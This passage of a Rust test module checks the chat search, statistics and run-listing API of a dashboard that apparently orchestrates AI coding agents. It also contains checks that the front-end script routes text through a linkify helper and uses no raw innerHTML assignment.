19565    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
19566        let mut talk: Talk = serde_json::from_value(serde_json::json!({
19567            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19568            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
19569            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
19570            "seat": crate::agent::SeatState::new("talk", "test", 1)
19571        })).unwrap();
19572        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
19573        talk.title = Some(talk::ChatTitle {
19574            text: "最近の話題".into(),
19575            source: talk::TitleSource::Generated,
19576        });
19577        let doc = talk_search_doc(&talk);
19578        assert_eq!(doc["title"], "最近の話題");
19579        assert_eq!(doc["turns"][0]["operator"], "古い話題");
19580        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
19581        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
19582    }
19583
19584    #[test]
19585    fn chat_search_labels_external_turns_and_messages_without_operator_attribution() {
19586        let mut talk = talk::seeded_for_test("external", PathBuf::from("."));
19587        talk.title = Some(talk::ChatTitle {
19588            text: "Saved title".into(),
19589            source: talk::TitleSource::Manual,
19590        });
19591        talk.turns = serde_json::from_value(serde_json::json!([
19592            {
19593                "who": "operator", "sender": "external", "body": "External plain",
19594                "at": "2026-09-08T20:58:02Z"
19595            },
19596            {
19597                "who": "operator", "body": "External message",
19598                "at": "2026-09-08T20:58:03Z",
19599                "messages": [{
19600                    "sender": "external", "body": "External message", "attachments": []
19601                }]
19602            }
19603        ]))
19604        .unwrap();
19605        let doc = talk_search_doc(&talk);
19606        assert_eq!(doc["turns"][0]["external"], "External plain");
19607        assert_eq!(doc["turns"][1]["external"], "External message");
19608        assert!(doc["turns"][0].get("operator").is_none());
19609        assert!(doc["turns"][1].get("operator").is_none());
19610        let hit = search_chat(&search_terms("message"), &talk).unwrap();
19611        assert_eq!(hit.field, "external");
19612        let target = hit.target.unwrap();
19613        assert_eq!((target.turn, target.message), (1, 0));
19614    }
19615
19616    #[test]
19617    fn chat_search_targets_the_snippet_message_and_preserves_document_matching() {
19618        let talk: Talk = serde_json::from_value(serde_json::json!({
19619            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19620            "status": "open", "title": {"text":"Saved title", "source":"manual"},
19621            "turns": [{"who":"operator", "body":"First message\n\nSearch 運用", "at":"2026-09-08T20:58:02Z",
19622                "messages":[{"body":"First message", "attachments":[], "reply":null},
19623                            {"body":"Search 運用", "attachments":[], "reply":null}]},
19624                {"who":"agent", "body":"Another term", "at":"2026-09-08T20:59:02Z"}],
19625            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:59:02Z",
19626            "seat": crate::agent::SeatState::new("talk", "test", 1)
19627        })).unwrap();
19628        let hit = search_chat(&search_terms("運用 Another"), &talk).unwrap();
19629        let target = hit.target.unwrap();
19630        assert_eq!((target.turn, target.message), (0, 1));
19631        assert_eq!(target.text, chat_text_key("Search 運用"));
19632        assert_eq!(
19633            hit.snippet,
19634            snippet_of("Search 運用", &search_terms("運用 Another"))
19635        );
19636        assert!(
19637            search_chat(&search_terms("Saved"), &talk)
19638                .unwrap()
19639                .target
19640                .is_none()
19641        );
19642        assert!(
19643            search_chat(&search_terms("ab12"), &talk)
19644                .unwrap()
19645                .target
19646                .is_none()
19647        );
19648        // All terms may still match across separate display rows.
19649        assert!(search_chat(&search_terms("message Search"), &talk).is_some());
19650        assert!(search_chat(&search_terms("messageSearch"), &talk).is_none());
19651    }
19652
19653    #[test]
19654    fn chat_search_targets_opener_derived_titles() {
19655        let mut talk: Talk = serde_json::from_value(serde_json::json!({
19656            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
19657            "status": "open", "turns": [
19658                {"who":"agent", "body":"Welcome", "at":"2026-09-08T20:58:01Z"},
19659                {"who":"operator", "body":"\n 運用について\nDetails", "at":"2026-09-08T20:58:02Z"},
19660                {"who":"agent", "body":"Latest reply", "at":"2026-09-08T20:59:02Z"}],
19661            "created_at": "2026-09-08T20:58:01Z", "updated_at": "2026-09-08T20:59:02Z",
19662            "seat": crate::agent::SeatState::new("talk", "test", 1)
19663        }))
19664        .unwrap();
19665        let terms = search_terms("運用");
19666        let hit = search_chat(&terms, &talk).unwrap();
19667        assert_eq!(hit.field, "title");
19668        assert_eq!(hit.snippet, snippet_of("運用について", &terms));
19669        let target = hit.target.unwrap();
19670        assert_eq!((target.turn, target.message), (1, 0));
19671        assert_eq!(target.text, chat_text_key(&talk.turns[1].body));
19672        // A blank first send can put the opener line in a later display row.
19673        talk.turns[1].messages = serde_json::from_value(serde_json::json!([
19674            {"body":"", "attachments":[], "reply":null},
19675            {"body":" 運用について\nDetails", "attachments":[], "reply":null}
19676        ]))
19677        .unwrap();
19678        let target = search_chat(&terms, &talk).unwrap().target.unwrap();
19679        assert_eq!((target.turn, target.message), (1, 1));
19680        assert_eq!(target.text, chat_text_key(" 運用について\nDetails"));
19681        talk.title = Some(talk::ChatTitle {
19682            text: "運用について".into(),
19683            source: talk::TitleSource::Manual,
19684        });
19685        assert!(search_chat(&terms, &talk).unwrap().target.is_none());
19686    }
19687
19688    #[tokio::test]
19689    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
19690        let f = Fixture::start().await;
19691        write_talk(
19692            &f,
19693            "20260901-000001-aaaa",
19694            "open",
19695            &[
19696                (
19697                    "operator",
19698                    "\n  Why does the Pangolin cache expire?\nsecond line",
19699                ),
19700                ("agent", "Because the TTL is thirty seconds."),
19701            ],
19702        );
19703        write_talk(
19704            &f,
19705            "20260901-000002-bbbb",
19706            "closed",
19707            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
19708        );
19709        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
19710
19711        let search = |q: &'static str| {
19712            let f = &f;
19713            async move {
19714                f.get(&format!("/api/search?scope=chats&q={q}"))
19715                    .await
19716                    .json()
19717            }
19718        };
19719
19720        let v = search("PANGOLIN").await;
19721        assert_eq!(v["scope"], "chats");
19722        assert_eq!(v["total"], 1, "{v}");
19723        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
19724        assert_eq!(v["hits"][0]["field"], "title");
19725        assert_eq!(v["unreadable"], 1, "{v}");
19726        let marked: Vec<&str> = v["hits"][0]["snippet"]
19727            .as_array()
19728            .unwrap()
19729            .iter()
19730            .filter(|p| p["hit"] == true)
19731            .map(|p| p["text"].as_str().unwrap())
19732            .collect();
19733        assert_eq!(marked, ["Pangolin"]);
19734
19735        // An agent turn, in a closed conversation.
19736        let v = search("zebra").await;
19737        assert_eq!(v["total"], 1, "{v}");
19738        assert_eq!(v["hits"][0]["field"], "agent");
19739        // Words may sit in different turns; all must be present.
19740        assert_eq!(search("pangolin%20thirty").await["total"], 1);
19741        assert_eq!(search("pangolin%20zebra").await["total"], 0);
19742        // Bookkeeping is not searched.
19743        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
19744            assert_eq!(search(q).await["total"], 0, "{q}");
19745        }
19746        // The first line only is the title; the second line is still a turn.
19747        assert_eq!(search("second").await["hits"][0]["field"], "operator");
19748        // Open conversations are listed before closed ones.
19749        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
19750
19751        let v = f.get("/api/search?scope=nope&q=a").await;
19752        assert_eq!(v.status, 400);
19753        assert!(
19754            v.body.contains("scope must be runs, tasks or chats"),
19755            "{}",
19756            v.body
19757        );
19758    }
19759
19760    #[test]
19761    fn a_question_card_links_a_task_id_to_the_task_page() {
19762        let start = APP_JS
19763            .find("function updateAskCard(")
19764            .expect("updateAskCard exists");
19765        let body = &APP_JS[start..];
19766        let body = &body[..body.find("\n}\n").expect("function end")];
19767        assert!(body.contains("question.run_is_task"));
19768        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
19769        assert!(body.contains("`#/runs/${question.run}`"));
19770        assert!(body.contains("\"task\" : \"run\""));
19771    }
19772
19773    #[test]
19774    fn plain_text_message_surfaces_go_through_linkify() {
19775        assert!(APP_JS.contains("function linkify("));
19776        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
19777        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
19778        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
19779        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
19780        assert!(!APP_JS.contains("innerHTML = text"));
19781    }
19782
19783    #[test]
19784    fn implementation_rate_views_keep_independent_samples() {
19785        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
19786            let a = stats::AgentStats {
19787                competitive_entered: competitive_n,
19788                competitive_wins: usize::from(competitive_n > 0),
19789                solo_entered: solo_n,
19790                solo_adopted: 2 * usize::from(solo_n > 0),
19791                ..Default::default()
19792            };
19793            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
19794            for (key, n, numerator) in [
19795                ("competitive_win_rate", competitive_n, a.competitive_wins),
19796                ("solo_adoption_rate", solo_n, a.solo_adopted),
19797            ] {
19798                if n == 0 {
19799                    assert!(v[key].is_null());
19800                } else {
19801                    assert_eq!(v[key]["denominator"], n);
19802                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
19803                }
19804            }
19805        }
19806        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
19807        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
19808        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
19809        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19810    }
19811
19812    #[test]
19813    fn stats_bars_share_one_id_keyed_plan() {
19814        let start = APP_JS
19815            .find("function statsBarRows(")
19816            .expect("statsBarRows exists");
19817        let body = &APP_JS[start..];
19818        let body = &body[..body.find("\n}\n").expect("function end")];
19819        assert!(body.contains("statsBarPlan(rows)"));
19820        assert!(body.contains("statsAgentTone(row.agent)"));
19821        assert!(!body.contains("candTone(i)"));
19822        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
19823        for root in [
19824            "stats-agents-bars",
19825            "stats-solo-bars",
19826            "stats-reviewers-bars",
19827        ] {
19828            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
19829        }
19830    }
19831
19832    #[test]
19833    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
19834        let start = APP_JS
19835            .find("function renderStatsReviewerScatter(")
19836            .expect("renderStatsReviewerScatter exists");
19837        let body = &APP_JS[start..];
19838        let body = &body[..body.find("\n}\n").expect("function end")];
19839        assert!(body.contains("statsScatterPlan(reviewers)"));
19840        assert!(body.contains("statsAgentTone(d.agent)"));
19841        assert!(APP_JS.contains("function statsScatterPlan("));
19842        assert!(
19843            APP_JS.contains("d.submitted < STATS_LOW_N")
19844                || APP_JS.contains("r.submitted < STATS_LOW_N")
19845        );
19846        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
19847        assert!(APP_CSS.contains(".precision-scatter"));
19848    }
19849
19850    #[test]
19851    fn advisor_reflection_is_drawn_as_stacked_segments() {
19852        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
19853        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
19854        let html = include_str!("../assets/ui/index.html");
19855        assert!(html.contains("Approximate"));
19856        for label in ["reflected strongly", "faint", "no proposal"] {
19857            assert!(html.contains(label));
19858        }
19859        let css = include_str!("../assets/ui/app.css");
19860        for c in ["refl-strong", "refl-faint", "refl-absent"] {
19861            assert!(css.contains(&format!(".{c} {{")));
19862        }
19863    }
19864
19865    #[test]
19866    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
19867        assert!(APP_JS.contains("function statsDailyPlan("));
19868        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
19869        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
19870    }
19871
19872    #[test]
19873    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
19874        let start = APP_JS
19875            .find("function scheduleSearch(")
19876            .expect("scheduleSearch exists");
19877        let body = &APP_JS[start..];
19878        let body = &body[..body.find("\n}\n").expect("function end")];
19879        assert!(body.contains("s.seq += 1"));
19880    }
19881
19882    /// The dashboard reads every run's state itself rather than trusting a
19883    /// separately-maintained count, so an unreadable run must be counted the
19884    /// same way `/api/health` counts it - never silently dropped the way the
19885    /// CLI's own `stats::load_all` drops it.
19886    #[tokio::test]
19887    async fn stats_runs_unreadable_matches_health() {
19888        let f = Fixture::start().await;
19889        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19890        let broken = f.runs().join("20260902-140502-bad");
19891        std::fs::create_dir_all(&broken).expect("run dir");
19892        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19893
19894        let stats = f.get("/api/stats").await;
19895        let health = f.get("/api/health").await;
19896
19897        assert_eq!(stats.status, 200);
19898        assert_eq!(stats.json()["totals"]["runs"], 1);
19899        assert_eq!(stats.json()["runs_unreadable"], 1);
19900        assert_eq!(
19901            stats.json()["runs_unreadable"],
19902            health.json()["runs_unreadable"],
19903            "the dashboard and /api/health must never disagree about how many \
19904             runs could not be read"
19905        );
19906    }
19907
19908    #[tokio::test]
19909    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
19910        let f = Fixture::start().await;
19911        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
19912        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
19913        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
19914
19915        let totals = &f.get("/api/stats").await.json()["totals"];
19916        assert_eq!(totals["runs"], 3);
19917        assert_eq!(totals["merged"], 1);
19918        assert_eq!(totals["stalled"], 1);
19919        assert_eq!(totals["in_progress"], 1);
19920        // A stalled run must never read as blocked/merged/ready - it is its
19921        // own bucket, not folded into a "decided" one.
19922        assert_eq!(totals["blocked"], 0);
19923        assert_eq!(totals["ready"], 0);
19924    }
19925
19926    #[tokio::test]
19927    async fn stats_advisors_report_proposals_and_reflection() {
19928        use crate::advise::{Advice, AdvisorRecord, Reflection};
19929        use crate::verdict::Proposal;
19930
19931        let f = Fixture::start().await;
19932        let mut state = RunState::new(
19933            PathBuf::from("/repo/magi"),
19934            "main".to_owned(),
19935            "0123456789abcdef".to_owned(),
19936            "task".to_owned(),
19937            Config::default(),
19938        );
19939        state.id = "20260902-140501-a".to_owned();
19940        state.status = RunStatus::Merged;
19941        state.advice = Some(Advice {
19942            records: vec![
19943                AdvisorRecord {
19944                    seat: "advisor-1".to_owned(),
19945                    agent: "alpha".to_owned(),
19946                    proposal: Some(Proposal {
19947                        approach: "do it".to_owned(),
19948                        key_tradeoff: "speed over memory".to_owned(),
19949                        risks: Vec::new(),
19950                        touches: Vec::new(),
19951                        why_not_naive: "breaks under load".to_owned(),
19952                    }),
19953                    error: None,
19954                    duration_ms: 0,
19955                    reflection: Reflection::Strong,
19956                },
19957                AdvisorRecord {
19958                    seat: "advisor-2".to_owned(),
19959                    agent: "alpha".to_owned(),
19960                    proposal: None,
19961                    error: Some("timed out".to_owned()),
19962                    duration_ms: 0,
19963                    reflection: Reflection::Absent,
19964                },
19965            ],
19966            synthesis: Some("blended brief".to_owned()),
19967        });
19968        let dir = f.runs().join(&state.id);
19969        std::fs::create_dir_all(&dir).expect("run dir");
19970        std::fs::write(
19971            dir.join("run.json"),
19972            serde_json::to_string_pretty(&state).expect("serialize run"),
19973        )
19974        .expect("write run.json");
19975
19976        // `alpha` is in no roster here; this test is about the rates.
19977        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
19978        let alpha = advisors
19979            .as_array()
19980            .expect("an array")
19981            .iter()
19982            .find(|a| a["agent"] == "alpha")
19983            .expect("alpha row");
19984        assert_eq!(alpha["seated"], 2);
19985        assert_eq!(alpha["proposed"], 1);
19986        assert_eq!(alpha["absent"], 1);
19987        assert_eq!(alpha["strong"], 1);
19988        assert_eq!(alpha["faint"], 0);
19989        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
19990    }
19991
19992    #[tokio::test]
19993    async fn stats_hides_agents_outside_the_roster_unless_all() {
19994        use crate::run::Candidate;
19995        let repo = TempDir::new().expect("repo dir");
19996        std::fs::write(
19997            repo.path().join("magi.toml"),
19998            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
19999        )
20000        .expect("magi.toml");
20001        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
20002        let mut state = RunState::new(
20003            PathBuf::from("/repo/magi"),
20004            "main".to_owned(),
20005            "0123456789abcdef".to_owned(),
20006            "task".to_owned(),
20007            Config::default(),
20008        );
20009        state.id = "20260902-140501-a".to_owned();
20010        state.status = RunStatus::Merged;
20011        for (label, agent) in [('A', "keep"), ('B', "retired")] {
20012            let mut c: Candidate = serde_json::from_value(serde_json::json!({
20013                "index": 0, "label": label.to_string(), "agent": agent,
20014                "branch": "b", "worktree": "/w",
20015            }))
20016            .expect("candidate");
20017            c.label = label;
20018            state.candidates.push(c);
20019        }
20020        let dir = f.runs().join(&state.id);
20021        std::fs::create_dir_all(&dir).expect("run dir");
20022        std::fs::write(
20023            dir.join("run.json"),
20024            serde_json::to_string_pretty(&state).expect("serialize run"),
20025        )
20026        .expect("write run.json");
20027
20028        let agents_of = |v: &serde_json::Value| -> Vec<String> {
20029            v["agents"]
20030                .as_array()
20031                .expect("array")
20032                .iter()
20033                .map(|a| a["agent"].as_str().unwrap().to_owned())
20034                .collect()
20035        };
20036        let hidden = f.get("/api/stats").await.json();
20037        assert_eq!(agents_of(&hidden), ["keep"]);
20038        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
20039        assert_eq!(hidden["totals"]["runs"], 1);
20040
20041        let all = f.get("/api/stats?all=true").await.json();
20042        assert_eq!(agents_of(&all).len(), 2);
20043        assert_eq!(all["retired_hidden"], serde_json::json!([]));
20044        // Verify competitive and solo keys exist on agent entries
20045        let keep_agent = all["agents"]
20046            .as_array()
20047            .unwrap()
20048            .iter()
20049            .find(|a| a["agent"] == "keep")
20050            .unwrap();
20051        assert_eq!(keep_agent["competitive_entered"], 1);
20052        assert_eq!(keep_agent["competitive_wins"], 0);
20053        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
20054        assert_eq!(keep_agent["solo_entered"], 0);
20055        assert_eq!(keep_agent["solo_adopted"], 0);
20056        assert!(keep_agent["solo_adoption_rate"].is_null());
20057    }
20058
20059    #[tokio::test]
20060    async fn stats_release_bumps_split_clean_from_attention() {
20061        use crate::run::ReleaseBump;
20062
20063        let f = Fixture::start().await;
20064
20065        let mut clean = RunState::new(
20066            PathBuf::from("/repo/magi"),
20067            "main".to_owned(),
20068            "0123456789abcdef".to_owned(),
20069            "task".to_owned(),
20070            Config::default(),
20071        );
20072        clean.id = "20260902-140501-a".to_owned();
20073        clean.status = RunStatus::Merged;
20074        clean.release_bump = Some(ReleaseBump {
20075            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
20076            version: Some("1.0.0".to_owned()),
20077            automerge_enabled: true,
20078            merged_directly: false,
20079            local: false,
20080            release: None,
20081            problem: None,
20082            action_required: None,
20083            skipped: None,
20084        });
20085
20086        let mut blocked = RunState::new(
20087            PathBuf::from("/repo/magi"),
20088            "main".to_owned(),
20089            "0123456789abcdef".to_owned(),
20090            "task".to_owned(),
20091            Config::default(),
20092        );
20093        blocked.id = "20260902-140502-b".to_owned();
20094        blocked.status = RunStatus::Merged;
20095        blocked.release_bump = Some(ReleaseBump {
20096            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
20097            version: Some("1.0.1".to_owned()),
20098            automerge_enabled: false,
20099            merged_directly: false,
20100            local: false,
20101            release: None,
20102            problem: Some("checks red".to_owned()),
20103            action_required: Some("look at the PR".to_owned()),
20104            skipped: None,
20105        });
20106
20107        for state in [&clean, &blocked] {
20108            let dir = f.runs().join(&state.id);
20109            std::fs::create_dir_all(&dir).expect("run dir");
20110            std::fs::write(
20111                dir.join("run.json"),
20112                serde_json::to_string_pretty(state).expect("serialize run"),
20113            )
20114            .expect("write run.json");
20115        }
20116
20117        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
20118        assert_eq!(bumps["merged"], 2);
20119        assert_eq!(bumps["recorded"], 2);
20120        assert_eq!(bumps["pr_opened"], 2);
20121        assert_eq!(bumps["automerge_enabled"], 1);
20122        assert_eq!(bumps["needs_attention"], 1);
20123        assert_eq!(bumps["clean"], 1);
20124        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
20125        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
20126    }
20127
20128    #[tokio::test]
20129    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
20130        let f = Fixture::start().await;
20131        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
20132
20133        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
20134        assert_eq!(bumps["merged"], 1);
20135        assert_eq!(bumps["recorded"], 0);
20136        // `merged` is nonzero, so coverage still reads as a real 0%, not an
20137        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
20138        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
20139        // `pr_opened` and `recorded` are both zero here, so these rates have
20140        // no denominator to compute from and must be null.
20141        assert_eq!(bumps["automerge_rate"], Value::Null);
20142        assert_eq!(bumps["attention_rate"], Value::Null);
20143    }
20144
20145    #[tokio::test]
20146    async fn stats_queue_counts_come_from_the_live_queue() {
20147        let f = Fixture::start().await;
20148        let q = f.queue();
20149        let mut queued = Task::new(
20150            "queued task".to_owned(),
20151            "do it".to_owned(),
20152            PathBuf::from("/repo"),
20153            Source::Human,
20154        );
20155        q.put(&mut queued).expect("put queued");
20156        let mut held = Task::new(
20157            "held task".to_owned(),
20158            "do it later".to_owned(),
20159            PathBuf::from("/repo"),
20160            Source::Human,
20161        );
20162        held.hold_machine(Some("out of attempts".to_owned()));
20163        q.put(&mut held).expect("put held");
20164
20165        let queue = f.get("/api/stats").await.json()["queue"].clone();
20166        assert_eq!(queue["queued"], 1);
20167        assert_eq!(queue["held"], 1);
20168        assert_eq!(queue["running"], 0);
20169        assert_eq!(queue["done"], 0);
20170        assert_eq!(queue["failed"], 0);
20171        assert_eq!(queue["blocked"], 0);
20172    }
20173
20174    #[tokio::test]
20175    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
20176        let f = Fixture::start().await;
20177        let stats = f.get("/api/stats").await;
20178        assert_eq!(stats.status, 200);
20179        assert_eq!(stats.json()["totals"]["runs"], 0);
20180        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
20181        assert_eq!(stats.json()["runs_unreadable"], 0);
20182        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
20183        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
20184        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
20185        assert_eq!(stats.json()["repo"], Value::Null);
20186    }
20187
20188    #[tokio::test]
20189    async fn stats_lists_every_repository_with_runs_recorded() {
20190        let f = Fixture::start().await;
20191        write_run_repo(
20192            &f.runs(),
20193            "20260902-140501-a",
20194            RunStatus::Merged,
20195            "/repos/a",
20196        );
20197        write_run_repo(
20198            &f.runs(),
20199            "20260902-140502-b",
20200            RunStatus::Merged,
20201            "/repos/a",
20202        );
20203        write_run_repo(
20204            &f.runs(),
20205            "20260902-140503-c",
20206            RunStatus::Blocked,
20207            "/repos/b",
20208        );
20209
20210        let stats = f.get("/api/stats").await;
20211        assert_eq!(stats.status, 200);
20212        // Unfiltered - the aggregate across both repositories.
20213        assert_eq!(stats.json()["totals"]["runs"], 3);
20214        assert_eq!(stats.json()["repo"], Value::Null);
20215
20216        let repos = stats.json()["repos"].clone();
20217        let repos = repos.as_array().unwrap();
20218        assert_eq!(repos.len(), 2);
20219        // Busiest (2 runs) first.
20220        assert_eq!(repos[0]["repo"], "/repos/a");
20221        assert_eq!(repos[0]["name"], "a");
20222        assert_eq!(repos[0]["runs"], 2);
20223        assert_eq!(repos[1]["repo"], "/repos/b");
20224        assert_eq!(repos[1]["runs"], 1);
20225    }
20226
20227    #[tokio::test]
20228    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
20229        let f = Fixture::start().await;
20230        write_run_repo(
20231            &f.runs(),
20232            "20260902-140501-a",
20233            RunStatus::Merged,
20234            "/repos/a",
20235        );
20236        write_run_repo(
20237            &f.runs(),
20238            "20260902-140502-b",
20239            RunStatus::Blocked,
20240            "/repos/b",
20241        );
20242
20243        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
20244        assert_eq!(stats.status, 200);
20245        assert_eq!(stats.json()["totals"]["runs"], 1);
20246        assert_eq!(stats.json()["totals"]["merged"], 1);
20247        assert_eq!(stats.json()["repo"], "/repos/a");
20248        // The repository list itself is unaffected by the filter - it is
20249        // what a client switches repositories from.
20250        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
20251        // runs_unreadable is a whole-workload count, never scoped to the
20252        // selected repository - see StatsView::runs_unreadable's own doc.
20253        assert_eq!(stats.json()["runs_unreadable"], 0);
20254    }
20255
20256    #[tokio::test]
20257    async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
20258        let f = Fixture::start().await;
20259        write_run_repo(
20260            &f.runs(),
20261            "20260902-140501-a",
20262            RunStatus::Merged,
20263            "/repos/a",
20264        );
20265        write_run_repo(
20266            &f.runs(),
20267            "20260902-140502-b",
20268            RunStatus::Merged,
20269            "/repos/b",
20270        );
20271
20272        for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
20273            let json = f.get(uri).await.json();
20274            let daily = json["daily"].as_array().expect("daily is an array");
20275            assert_eq!(daily.len(), 30);
20276            let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
20277            let mut sorted = dates.clone();
20278            sorted.sort();
20279            assert_eq!(dates, sorted);
20280            for d in daily {
20281                assert_eq!(
20282                    d["merged"].as_u64().unwrap()
20283                        + d["ready"].as_u64().unwrap()
20284                        + d["other"].as_u64().unwrap(),
20285                    d["runs"].as_u64().unwrap()
20286                );
20287            }
20288            assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
20289        }
20290    }
20291
20292    #[tokio::test]
20293    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
20294        let f = Fixture::start().await;
20295        write_run_repo(
20296            &f.runs(),
20297            "20260902-140501-a",
20298            RunStatus::Merged,
20299            "/repos/a",
20300        );
20301
20302        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
20303        assert_eq!(stats.status, 404);
20304    }
20305
20306    #[tokio::test]
20307    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
20308        let f = Fixture::start().await;
20309        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
20310
20311        let summary = f.get("/api/runs").await.json();
20312        let row = &summary[0];
20313        assert_eq!(row["short"], "a1b2");
20314        assert_eq!(row["status"], "ready");
20315        assert_eq!(row["done"], true);
20316        assert_eq!(row["title"], "Add a web UI");
20317        assert_eq!(row["repo_name"], "magi");
20318        assert_eq!(row["judges"], 3);
20319        assert_eq!(row["winner"], Value::Null);
20320        assert_eq!(row["reviews"], 0);
20321
20322        // The short id resolves, and the detail route is the state itself, not
20323        // a projection of it: the UI reads fields the summary does not carry.
20324        let detail = f.get("/api/runs/a1b2").await;
20325        assert_eq!(detail.status, 200);
20326        assert_eq!(detail.json()["base_branch"], "main");
20327        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
20328    }
20329
20330    /// `status: "ready"` alone cannot tell a run still headed for a landing
20331    /// (a PR closed without merging, say) apart from one `[merge] mode =
20332    /// "none"` left unmerged for good — the confusion the operator flagged
20333    /// after the CLI report already grew a `not landed — nothing to do by
20334    /// design` line for exactly this case (`report.rs`). Both the list route
20335    /// and the detail route must carry a flag the phone can key on instead of
20336    /// re-deriving it from `status` + `merge.mode` itself.
20337    #[tokio::test]
20338    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
20339        let f = Fixture::start().await;
20340
20341        let mut none_run = RunState::new(
20342            PathBuf::from("/repo/magi"),
20343            "main".to_owned(),
20344            "0123456789abcdef".to_owned(),
20345            "Add a web UI".to_owned(),
20346            Config::default(),
20347        );
20348        none_run.id = "20260902-140503-none".to_owned();
20349        none_run.status = RunStatus::Ready;
20350        none_run.merge = Some(crate::run::MergeOutcome {
20351            mode: crate::config::MergeMode::None,
20352            ok: true,
20353            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
20354            empty: false,
20355        });
20356        write_state(&f.runs(), &none_run);
20357
20358        let mut pr_run = RunState::new(
20359            PathBuf::from("/repo/magi"),
20360            "main".to_owned(),
20361            "0123456789abcdef".to_owned(),
20362            "Add a web UI".to_owned(),
20363            Config::default(),
20364        );
20365        pr_run.id = "20260902-140504-prcl".to_owned();
20366        pr_run.status = RunStatus::Ready;
20367        pr_run.merge = Some(crate::run::MergeOutcome {
20368            mode: crate::config::MergeMode::Pr,
20369            ok: false,
20370            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
20371            empty: false,
20372        });
20373        write_state(&f.runs(), &pr_run);
20374
20375        let summary = f.get("/api/runs").await.json();
20376        let rows: std::collections::HashMap<&str, &Value> = summary
20377            .as_array()
20378            .expect("an array")
20379            .iter()
20380            .map(|r| (r["id"].as_str().expect("an id"), r))
20381            .collect();
20382        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
20383        assert_eq!(
20384            rows[none_run.id.as_str()]["unmerged_by_design"],
20385            true,
20386            "a mode-none Ready must be flagged in the list"
20387        );
20388        assert_eq!(
